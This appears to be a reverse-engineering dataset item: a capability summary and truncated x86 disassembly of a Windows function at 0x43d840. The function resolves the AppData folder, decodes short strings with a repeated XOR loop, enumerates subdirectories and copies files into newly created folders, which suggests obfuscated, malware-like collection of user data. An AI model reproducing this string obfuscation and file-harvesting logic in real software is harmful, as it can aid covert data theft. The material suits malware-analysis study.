Function at 0x43d840
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Enumerate files on windows
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506cf2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x3c8
push esi
push edi
mov dword [ebp - 0x9c], 0
push 0x104
lea eax, [ebp - 0x3d8]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
movaps xmm0, xmmword [0x5261f0]
xor ecx, ecx
movups xmmword [ebp - 0xe0], xmm0
mov word [ebp - 0xd0], 0x89
mov byte [ebp - 0xce], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0xe0], al
inc ecx
cmp ecx, 0x11
jb 0x43d8d0
xorps xmm0, xmm0
mov byte [ebp - 0xce], 0
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d905
sub ecx, edx
lea eax, [ebp - 0xe0]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402810
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x3d8]
lea ecx, [ebp - 0x15c]
call fcn.004698d0
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x43d972
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d968
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [ebp - 0x148], 0x10
lea esi, [ebp - 0x15c]
push 0x536240
cmovae esi, dword [ebp - 0x15c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x43efb2
test esi, esi
je 0x43ef08
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d9c0
sub ecx, edx
je 0x43ef08
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x43d9fb
call edi
cmp eax, 0x44
je 0x43d9fb
cmp eax, 0x20
je 0x43d9fb
cmp eax, 0x45
je 0x43d9fb
cmp eax, 0x24
jne 0x43ef08
push 0x536240
call fcn.004dbee3
add esp, 4
mov dword [ebp - 0x19], 0x8d8f9eb5
mov dword [ebp - 0x15], 0x1008f99
xor ecx, ecx
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 6
jb 0x43da18
lea ecx, [ebp - 0x19]
mov byte [ebp - 0x12], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43da30
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x14c]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0x148], 0x10
lea eax, [ebp - 0x15c]
push ecx
cmovae eax, dword [ebp - 0x15c]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xb4]
call fcn.0046d420
mov byte [ebp - 4], 4
lea esi, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
push 0x536240
cmovae esi, dword [ebp - 0xb4]
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x43efbd
test esi, esi
je 0x43eebf
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dab2
sub ecx, edx
je 0x43eebf
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x43dae7
call edi
cmp eax, 0x44
je 0x43dae7
cmp eax, 0x20
je 0x43dae7
cmp eax, 0x45
je 0x43dae7
cmp eax, 0x24
jne 0x43eebf
push 0x536240
call fcn.004dbee3
add esp, 4
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x24], 0x100889b
xor ecx, ecx
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 2
jb 0x43db01
mov byte [ebp - 0x21], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x958e81b5
mov dword [ebp - 0x19], 0x848e8ab2
mov dword [ebp - 0x15], 0x1008190
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xa
jb 0x43db30
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x12], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43db47
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xa4]
sub eax, edx
cmp eax, ecx
jb 0x43efc3
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x68]
call fcn.0046d420
cmp dword [ebp - 0x54], 0x10
lea ecx, [ebp - 0x24]
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
push ecx
push eax
call fcn.004e2a20
mov ecx, dword [ebp - 0x54]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x43dbda
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dbd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efc8
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
test esi, esi
je 0x43dbfd
push esi
call fcn.004e62a8
add esp, 4
mov byte [ebp - 0x11], 1
xor esi, esi
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], esi
mov dword [ebp - 0xd4], esi
mov byte [ebp - 4], 5
xor ecx, ecx
mov dword [ebp - 0x44], 0xc6c5c0b5
mov word [ebp - 0x40], 0x100
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 4
jb 0x43dc28
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x3f], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dc40
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xa4]
sub eax, edx
cmp eax, ecx
jb 0x43efcd
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x44]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x18c]
call fcn.0046d420
mov edi, 0xc4
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2d0]
cmp dword [ebp - 0x178], 0x10
lea eax, [ebp - 0x18c]
push ecx
cmovae eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
je 0x43e046
nop
cmp byte [ebp - 0x2a4], 0x2e
je 0x43e022
test byte [ebp - 0x2d0], 0x10
je 0x43e022
mov dword [ebp - 0x3b], 0x100889b
xor ecx, ecx
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 2
jb 0x43dce3
mov byte [ebp - 0x38], 0
xor ecx, ecx
mov dword [ebp - 0x36], 0x9c8a87b5
mov word [ebp - 0x32], 0x9e
mov byte [ebp - 0x30], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 5
jb 0x43dd07
lea ecx, [ebp - 0x2f]
mov byte [ebp - 0x30], 0
mov word [ebp - 0x2f], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x2d], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dd28
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xa4]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x2f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x98]
call fcn.0046d420
or edi, 8
lea eax, [ebp - 0x2a4]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x98]
call fcn.00465770
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
or edi, 0x10
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x36]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x80]
call fcn.00465770
mov dword [ebp - 0xbc], 0
lea ecx, [ebp - 0x3b]
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xcc], xmm0
or edi, 0x20
movups xmm0, xmmword [eax]
push ecx
mov dword [ebp - 0x24], edi
movups xmmword [ebp - 0xcc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xbc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
cmovae eax, dword [ebp - 0xcc]
push eax
call fcn.004e2a20
mov ecx, dword [ebp - 0xb8]
add esp, 8
mov edi, eax
cmp ecx, 0x10
jb 0x43de7c
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43de72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x43decf
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dec5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x43df1f
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43df15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
test edi, edi
je 0x43e01c
push edi
call fcn.004e62a8
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x54], 0
add esp, 4
lea edx, [ecx + 1]
movups xmmword [ebp - 0x68], xmm0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43df70
sub ecx, edx
lea eax, [ebp - 0x2a4]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402810
mov byte [ebp - 4], 9
cmp esi, dword [ebp - 0xd4]
je 0x43dfce
xorps xmm0, xmm0
mov ecx, 0xf
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
movups xmm0, xmmword [ebp - 0x68]
mov dword [esi + 0x14], 0
mov byte [ebp - 0x68], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x58]
movq qword [esi + 0x10], xmm0
add esi, 0x18
mov dword [ebp - 0xd8], esi
jmp 0x43dfe7
lea eax, [ebp - 0x68]
push eax
push esi
lea ecx, [ebp - 0xdc]
call fcn.004725d0
mov esi, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x54]
mov byte [ebp - 4], 6
cmp ecx, 0x10
jb 0x43e01c
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e012
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43eff5
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x2d0]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp eax, 1
jne 0x43e03d
mov eax, dword [ebp - 0x28]
jmp 0x43dcc0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp byte [ebp - 0x11], 0
jne 0x43e06b
mov ecx, esi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xdc]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x43ee5d
mov dword [ebp - 0x1c], 0x808ebeb5
xor ecx, ecx
mov dword [ebp - 0x18], 0x919d8988
mov word [ebp - 0x14], 0x9c
mov byte [ebp - 0x12], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 9
jb 0x43e085
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x12], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e0a0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x43efd2
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
lea ecx, [ebp - 0x1c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x68]
call fcn.0046d420
or edi, 0x20000
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
push 0
cmovae eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x43ee29
mov dword [ebp - 0x19], 0x8d8f9eb5
xor ecx, ecx
mov dword [ebp - 0x15], 0x1008f99
nop
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 6
jb 0x43e110
lea ecx, [ebp - 0x19]
mov byte [ebp - 0x12], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e127
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x43efd7
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
push ecx
cmovae eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x19]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x128]
call fcn.0046d420
or edi, 0x200000
mov dword [ebp - 0x24], edi
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x128]
cmp dword [ebp - 0x114], 0x10
push 0
cmovae eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x43ede3
cmp byte [ebp - 0x11], 0
je 0x43e2ec
mov dword [ebp - 0x1d], 0x958e81b5
xor ecx, ecx
mov dword [ebp - 0x19], 0x848e8ab2
mov dword [ebp - 0x15], 0x1008190
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xa
jb 0x43e1b6
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x12], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e1d0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x118]
sub eax, edx
cmp eax, ecx
jb 0x43efdc
cmp dword [ebp - 0x114], 0x10
lea eax, [ebp - 0x128]
push ecx
cmovae eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x110]
call fcn.0046d420
or edi, 0x400000
mov byte [ebp - 4], 0xc
or edi, 1
cmp dword [ebp - 0xfc], 0x10
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x9c], edi
lea edi, [ebp - 0x110]
cmovae edi, dword [ebp - 0x110]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x958e81b5
mov dword [ebp - 0x19], 0x848e8ab2
mov dword [ebp - 0x15], 0x1008190
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xa
jb 0x43e260
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x12], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e277
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xa4]
sub eax, edx
cmp eax, ecx
jb 0x43efe1
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x98]
call fcn.0046d420
or dword [ebp - 0x24], 0x800002
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
push 0
cmovae eax, dword [ebp - 0x98]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x11], 1
test eax, eax
jne 0x43e2f0
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0x24]
test al, 2
je 0x43e355
mov ecx, dword [ebp - 0x84]
and eax, 0xfffffffd
mov dword [ebp - 0x24], eax
cmp ecx, 0x10
jb 0x43e33a
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e32d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efe6
push ecx
push edx
call fcn.004dcbd1
mov eax, dword [ebp - 0x24]
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov dword [ebp - 4], 0xb
test al, 1
je 0x43e3a0
mov ecx, dword [ebp - 0xfc]
and eax, 0xfffffffe
mov dword [ebp - 0x24], eax
cmp ecx, 0x10
jb 0x43e3a0
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e396
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efe6
push ecx
push edx
call fcn.004dcbd1
add esp, 8
sub esi, dword [ebp - 0xdc]
mov eax, 0x2aaaaaab
imul esi
xor ecx, ecx
sar edx, 2
mov eax, edx
mov dword [ebp - 0x9c], ecx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x2c], eax
je 0x43edce
mov al, byte [ebp - 0x11]
mov edi, dword [ebp - 0x24]
mov byte [ebp - 0x11], al
lea eax, [ecx + ecx*2]
mov byte [ebp - 0x37], 0
mov ecx, dword [ebp - 0xdc]
mov word [ebp - 0x2f], 0x5c
mov byte [ebp - 0x2d], 0
lea esi, [ecx + eax*8]
lea ecx, [ebp - 0x2f]
mov dword [ebp - 0x12c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e3f7
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x118]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0x114], 0x10
lea eax, [ebp - 0x128]
push ecx
cmovae eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x2f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x98]
call fcn.0046d420
or edi, 0x800
push esi
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0xd
call fcn.004657e0
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
or edi, 0x1000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x144], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x134], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x43e4df
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e4d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
cmp dword [ebp - 0x130], 0x10
lea esi, [ebp - 0x144]
push 0x536240
cmovae esi, dword [ebp - 0x144]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
call fcn.004dbed2
add esp, 4
test eax, eax
jne 0x43efb2
test esi, esi
je 0x43e570
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e530
sub ecx, edx
je 0x43e570
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x43e561
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x43e561
cmp eax, 0x20
je 0x43e561
cmp eax, 0x45
je 0x43e561
cmp eax, 0x24
jne 0x43e570
push 0x536240
call fcn.004dbee3
add esp, 4
jmp 0x43e59b
mov eax, 0x536240
push eax
call fcn.004dbee3
add esp, 4
lea eax, [ebp - 0x144]
cmp dword [ebp - 0x130], 0x10
cmovae eax, dword [ebp - 0x144]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x36], 0x9c8a87b5
xor ecx, ecx
mov word [ebp - 0x32], 0x9e
mov byte [ebp - 0x30], 1
nop
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 5
jb 0x43e5b0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x30], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e5c7
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x134]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0x130], 0x10
lea eax, [ebp - 0x144]
push ecx
cmovae eax, dword [ebp - 0x144]
lea ecx, [ebp - 0x36]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x42]
lea ecx, [ebp - 0x174]
call fcn.0046d420
or edi, 0x2000
mov byte [ebp - 4], 0x10
lea esi, [ebp - 0x174]
cmp dword [ebp - 0x160], 0x10
mov dword [ebp - 0x18], 0x9c8a87b5
cmovae esi, dword [ebp - 0x174]
xor ecx, ecx
mov word [ebp - 0x14], 0x9e
mov byte [ebp - 0x12], 1
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 5
jb 0x43e640
lea ecx, [ebp - 0x47]
mov byte [ebp - 0x12], 0
mov word [ebp - 0x47], 0x5c
lea edx, [ecx + 1]
mov byte [ebp - 0x45], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e661
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xa4]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x47]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x42]
lea ecx, [ebp - 0x110]
call fcn.0046d420
or edi, 0x4000
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0x11
call fcn.004657e0
mov dword [ebp - 0xe8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
or edi, 0x8000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xf8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xe8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0xf8]
call fcn.00465770
mov dword [ebp - 0x70], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
or edi, 0x10000
movups xmm0, xmmword [eax]
push 0
push esi
movups xmmword [ebp - 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x70], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
cmovae eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x6c]
mov esi, eax
cmp ecx, 0x10
jb 0x43e7ab
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e7a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x43e7fb
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e7f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
cmp ecx, 0x10
jb 0x43e854
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e84a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x160]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
cmp ecx, 0x10
jb 0x43e8ad
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e8a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43efad
push ecx
push edx
call fcn.004dcbd1
add esp, 8
test esi, esi
je 0x43e8b9
mov byte [ebp - 0x37], 1
mov byte [ebp - 0x11], 1
lea ecx, [ebp - 0x4a]
mov word [ebp - 0x3a], 0x73
mov byte [ebp - 0x38], 0
lea edx, [ecx + 1]
mov word [ebp - 0x4a], 0x5c
mov byte [ebp - 0x48], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e8d3
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xa4]
sub eax, edx
cmp eax, ecx
jb 0x43efb8
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
push ecx
cmovae eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x4a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x42]
lea ecx, [ebp - 0x110]
call fcn.0046d420
or edi, 0x100
mov esi, dword [ebp - 0x12c]
lea ecx, [ebp - 0x110]
push esi
mov byte [ebp - 4], 0x13
call fcn.004657e0
mov dword [ebp - 0xe8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
or edi, 0x400
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xf8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xe8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x3a]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0xf8]
call fcn.00465770
mov dword [ebp - 0xbc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xcc], xmm0
